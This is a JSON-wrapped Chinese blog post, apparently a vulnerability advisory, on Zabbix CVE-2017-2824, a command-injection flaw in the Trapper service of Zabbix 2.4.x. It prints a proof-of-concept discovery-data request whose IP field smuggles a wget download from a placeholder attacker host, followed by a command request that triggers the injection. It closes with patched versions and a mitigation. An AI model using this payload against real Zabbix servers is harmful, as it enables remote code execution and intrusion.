{"id":63944,"date":"2023-07-22T01:52:01","date_gmt":"2023-07-21T17:52:01","guid":{"rendered":"http:\/\/lrxjmw.cn\/?p=63944"},"modified":"2023-07-22T01:52:01","modified_gmt":"2023-07-21T17:52:01","slug":"zabbix-bug-cve","status":"publish","type":"post","link":"https:\/\/lrxjmw.cn\/zabbix-bug-cve.html","title":{"rendered":"Zabbix\u7206\u9ad8\u5371\u6f0f\u6d1eCVE-2017-2824"},"content":{"rendered":"\n\n\n
\u5bfc\u8bfb<\/td>\nzabbix\u80fd\u76d1\u89c6\u5404\u79cd\u7f51\u7edc\u53c2\u6570\uff0c\u4fdd\u8bc1\u670d\u52a1\u5668\u7cfb\u7edf\u7684\u5b89\u5168\u8fd0\u8425;\u5e76\u63d0\u4f9b\u7075\u6d3b\u7684\u901a\u77e5\u673a\u5236\u4ee5\u8ba9\u7cfb\u7edf\u7ba1\u7406\u5458\u5feb\u901f\u5b9a\u4f4d\/\u89e3\u51b3\u5b58\u5728\u7684\u5404\u79cd\u95ee\u9898\u3002<\/strong><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
\u00a0\"\"<\/div>\n
\u5173\u4e8eZabbix<\/strong><\/div>\n

zabbix\u662f\u4e00\u4e2a\u57fa\u4e8eWEB\u754c\u9762\u7684\u63d0\u4f9b\u5206\u5e03\u5f0f\u7cfb\u7edf\u76d1\u89c6\u4ee5\u53ca\u7f51\u7edc\u76d1\u89c6\u529f\u80fd\u7684\u4f01\u4e1a\u7ea7\u7684\u5f00\u6e90\u89e3\u51b3\u65b9\u6848\u3002<\/p>\n

zabbix\u80fd\u76d1\u89c6\u5404\u79cd\u7f51\u7edc\u53c2\u6570\uff0c\u4fdd\u8bc1\u670d\u52a1\u5668\u7cfb\u7edf\u7684\u5b89\u5168\u8fd0\u8425;\u5e76\u63d0\u4f9b\u7075\u6d3b\u7684\u901a\u77e5\u673a\u5236\u4ee5\u8ba9\u7cfb\u7edf\u7ba1\u7406\u5458\u5feb\u901f\u5b9a\u4f4d\/\u89e3\u51b3\u5b58\u5728\u7684\u5404\u79cd\u95ee\u9898\u3002<\/p>\n

\u6f0f\u6d1e\u8be6\u60c5<\/strong><\/div>\n

CVE-2017-2824\uff1aZabbix Server Active Proxy Trapper \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e<\/p>\n

Zabbix 2.4.x\u4e2d\u7684trapper command\u529f\u80fd\u5b58\u5728\u4e00\u5904\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff0c\u7279\u5b9a\u7684\u6570\u636e\u5305\u53ef\u9020\u6210\u547d\u4ee4\u6ce8\u5165\uff0c\u8fdb\u800c\u8fdc\u7a0b\u6267\u884c\u4ee3\u7801\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u4ece\u4e00\u4e2aZabbix proxy\u53d1\u8d77\u8bf7\u6c42\u4ece\u800c\u4fc3\u53d1\u6f0f\u6d1e\u3002<\/p>\n

\n

\u5f71\u54cd\u7248\u672c<\/strong><\/p>\n<\/div>\n

Zabbix 2.4.7 \u2013 2.4.8r1<\/p>\n

\n

\u6f0f\u6d1e\u63cf\u8ff0<\/strong><\/p>\n<\/div>\n

\u8be5\u6f0f\u6d1e\u4f4d\u4e8eZabbix\u4e2d\u201cTrapper\u201d\u4ee3\u7801\u90e8\u5206\uff0c\u5b83\u7684\u4e3b\u8981\u529f\u80fd\u662f\u5141\u8bb8Proxy\u548cServer\u8fdb\u884c\u901a\u4fe1\u7684\u7f51\u7edc\u670d\u52a1\uff08TCP\u7aef\u53e310051\uff09Zabbix Server\u63d0\u4f9b\u4e86\u4e00\u7ec4\u9488\u5bf9Zabbix Proxy\u7684API\u8c03\u7528\uff0c\u4e24\u4e2a\u5c06\u8ba8\u8bba\u7684\u662f\u201cdiscovery data\u201d\u548c\u201crequest command\u201d\u3002\u8fd9\u4e9b\u8bf7\u6c42\u7684\u793a\u4f8b\u6570\u636e\u5982\u4e0b\u6240\u793a\uff1a<\/p>\n

'{\"request\":\"command\",\"scriptid\":1,\"hostid\":10001}'\r\n'{\"request\":\"discovery data\",\"host\":\"zabbix-proxy.com\",\"clock\":10,\r\n\"data\":[{\"clock\":10,\"drule\":1,\"dcheck2,\"type\":0,\"ip:10.0.0.1, \"dns\":\"zabbix-agent.com\",    \u00a0 \u00a0port\":10050,\"key\":\"test\",\"status\":0,\"value\":\"test_value\"}]}<\/pre>\n

\u5e94\u8be5\u6ce8\u610f\u7684\u662f\uff0crequest\u547d\u4ee4\u8c03\u7528\u4f4d\u4e8eZabbix\u6570\u636e\u5e93\u4e2d\u7684\u811a\u672c\uff0c\u800c\u4e0d\u8fdb\u884c\u4efb\u4f55\u8eab\u4efd\u9a8c\u8bc1\u3002\u8be5\u6f0f\u6d1e\u7684\u53e6\u4e00\u4e2a\u5173\u952e\u65b9\u9762\u662f\uff0c\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0cZabbix 2.4.X\u4f7f\u7528\u811a\u672c\u4ee5\u4e0b\u8868\u4e2d\u76843\u4e2a\u811a\u672c\u586b\u5145MySQL\u6570\u636e\u5e93\uff1a<\/p>\n

\u95ee\u9898\u5728\u4e8e\uff0c\u5728\u8c03\u7528\u811a\u672c\u65f6\uff0c{HOST.CONN}\u5b57\u6bb5\u5b9e\u9645\u4e0a\u88abhost\u7684IP\u5730\u5740\u66ff\u6362\u3002\u66ff\u6362{HOST.CONN}\u7684\u503c\u4f4d\u4e8eZabbixinterface\u8868\u4e2d\uff0c\u7136\u540e\u4fdd\u5b58\u6210VARCHAR\uff0864\uff09\u7c7b\u578b\u7684\u201cIP\u201d\u5b57\u6bb5\u3002\u56e0\u6b64\uff0c\u5982\u679c\u653b\u51fb\u8005\u53ef\u4ee5\u4f7f\u7528\u547d\u4ee4\u6ce8\u5165\u521b\u5efa\u63a5\u53e3\u4f5c\u4e3aIP\u5730\u5740\uff0c\u5e76\u4e14\u901a\u8fc7\u201c\u547d\u4ee4\u201d\u8bf7\u6c42\u7684\u65b9\u5f0f\u8fd0\u884c{HOST.CONN}\u811a\u672c\uff0c\u5219\u5c06\u53d1\u751f\u547d\u4ee4\u6ce8\u5165\uff0c\u5e76\u4e14\u53ef\u4ee5\u83b7\u5f97\u53cd\u5411shell\u3002<\/p>\n

\u8fd9\u4e2a\u96be\u9898\u5728\u4e8e\u6709\u6548\u5730\u5c06\u503c\u63d2\u5165\u5230Zabbixhost\u8868\u3002\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u653b\u51fb\u8005\u65e0\u6cd5\u505a\u5230\u8fd9\u4e00\u70b9\uff0c\u5b83\u9700\u8981\u7cfb\u7edf\u7ba1\u7406\u5458\u7684\u4e00\u4e2a\u6b21\u8981\u914d\u7f6e\uff0c\u7279\u522b\u662f\u5173\u4e8eZabbix\u81ea\u52a8\u53d1\u73b0\u529f\u80fd\u3002<\/p>\n

Zabbix\u81ea\u52a8\u53d1\u73b0\u548c\u81ea\u52a8\u6ce8\u518c\u529f\u80fd\u5141\u8bb8\u6839\u636eZabbix Proxy\u63d0\u4f9b\u7684Zabbix Server\u6570\u636e\u8fdb\u884cZabbix Server\u7684\u914d\u7f6e\u3002\u66f4\u5177\u4f53\u5730\u8bf4\uff0c\u5982\u679c\u4e3b\u673a\u6839\u636e\u670d\u52a1\u5668\u7684\u914d\u7f6e\u5411Zabbix Proxy\u63d0\u4f9b\u67d0\u4e9b\u7279\u6027\uff0c\u5219\u53ef\u80fd\u4f1a\u91c7\u53d6\u67d0\u4e9b\u64cd\u4f5c\uff0c\u5176\u4e2d\u4e00\u4e2a\u4f1a\u4f7f\u65b0\u53d1\u73b0\u7684\u4e3b\u673a\u88ab\u6dfb\u52a0\u5230\u67d0\u4e9bZabbix\u6570\u636e\u5e93\u8868\u4e2d\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u4e3b\u673a\u5c06\u88ab\u63d2\u5165\u5230\u201chost\u201d\u8868\u4e2d\uff0c\u5e76\u4e14\u5c06\u521b\u5efa\u4e00\u4e2a\u5165\u53e3\u5230Zabbixinterface\u8868\u4e2d\uff0c\u4e3b\u673a\u63d0\u4f9b\u7684IP\u5730\u5740\u63d2\u5165\u5230IP\u5217\u4e2d\uff0c\u800c\u4e0d\u4f1a\u5bf9\u8be5IP\u5730\u5740\u7684\u4efb\u4f55\u9a8c\u8bc1\u3002<\/p>\n

\u56e0\u6b64\uff0c\u901a\u8fc7\u4f7f\u7528\u5408\u9002\u7684\u4e3b\u673a\u5411\u670d\u52a1\u5668\u53d1\u9001\u4e00\u4e2a\u53d1\u73b0\u6570\u636e\u8bf7\u6c42\uff0c\u53ef\u4ee5\u5c06\u547d\u4ee4\u6ce8\u5165\u63d2\u5165\u5230\u6570\u636e\u5e93\u4e2d\uff1a<\/p>\n

write_script_cmd='{\r\n\"request\":\"discoverydata\",\r\n\"host\":\"zabbix-proxy.domain.fake\",\r\n\"clock\":148535399,\r\n\"data\":[{\r\n\"clock\":1485353070,\r\n\"drule\":88,\r\n\"dcheck\":174,\r\n\"type\":0,\r\n\"ip\":\";wget -O\/tmp\/shttp:\/\/attacker-ip\/s;#\",\r\n\"dns\":\"host28.domain.fake\",\r\n\"port\":10050,\r\n\"key\":\"sectest\",\r\n\"status\":0,\r\n\"value\":\"lnx<(^_^)>host\"\r\n}]}'<\/pre>\n

\u7531\u4e8eZabbixInterface\u8868\u7684ip\u5b57\u6bb5\u7684\u5927\u5c0f\u9650\u5236\uff0c\u7b2c\u4e8c\u4e2a\u4e3b\u673a\u88ab\u63d2\u5165\u5230\u53e6\u4e00\u4e2aIP\u5730\u5740\u7684\u8868\u4e2d\u3002<\/p>\n

run_cmd = '{\r\n\"request\":\"command\",\r\n\"scriptid\":1,\r\n\"hostid\":14666\r\n}'<\/pre>\n

\u5728\u8fd9\u4e24\u4e2a\u4e3b\u673a\u88ab\u6dfb\u52a0\u4e4b\u540e\uff0c\u4ecd\u7136\u6709\u4e00\u4e2a\u95ee\u9898\uff0c\u5373\u4e0d\u77e5\u9053\u8be5hostid\u7684command\u8bf7\u6c42\uff0c\u4f46\u662f\u8fd9\u5f88\u5bb9\u6613\u89e3\u51b3\u4e86\u3002\u66b4\u529b\u8bf7\u6c42\u5165\u6570\u636e\u5e93\uff0c\u56e0\u4e3a\u4e0d\u540c\u7684\u547d\u4ee4\u8bf7\u6c42\u4f1a\u8fd4\u56de\u4e0d\u540c\u7684\u54cd\u5e94\uff0c\u786e\u5b9a\u4e3b\u673a\u662f\u5426\u5b58\u5728\uff0c\u4e00\u65e6\u5b58\u5728\u7684\u4e3b\u673a\u88ab\u786e\u5b9a\uff0c\u5c31\u53ef\u4ee5\u76f4\u63a5\u8c03\u7528\u5b83\u4eec\uff0c\u5e76\u4e14\u53ef\u4ee5\u83b7\u5f97\u53cd\u5411\u7684shell\u3002<\/p>\n

\u4fee\u590d\u65b9\u6848<\/strong><\/div>\n

1.\u5b98\u7f51\u4fee\u590d\u7248\u672c\u53d1\u5e03\u540e\u53ca\u65f6\u5347\u7ea7\uff0c\u76ee\u524d\u5b98\u65b9\u53cd\u9988\u4f1a\u5728\u4ee5\u4e0b\u7248\u672c\u4fee\u590d\uff1a2.0.21rc1, 2.2.18rc1, 3.0.9rc1, 3.2.5rc1, 3.4.0alpha1 (trunk)<\/p>\n

2.\u7f13\u89e3\u63aa\u65bd\uff1a\u5220\u9664Zabbix\u6570\u636e\u5e93\u4e2d\u7684\u9ed8\u8ba4\u811a\u672c\u6761\u76ee<\/p>\n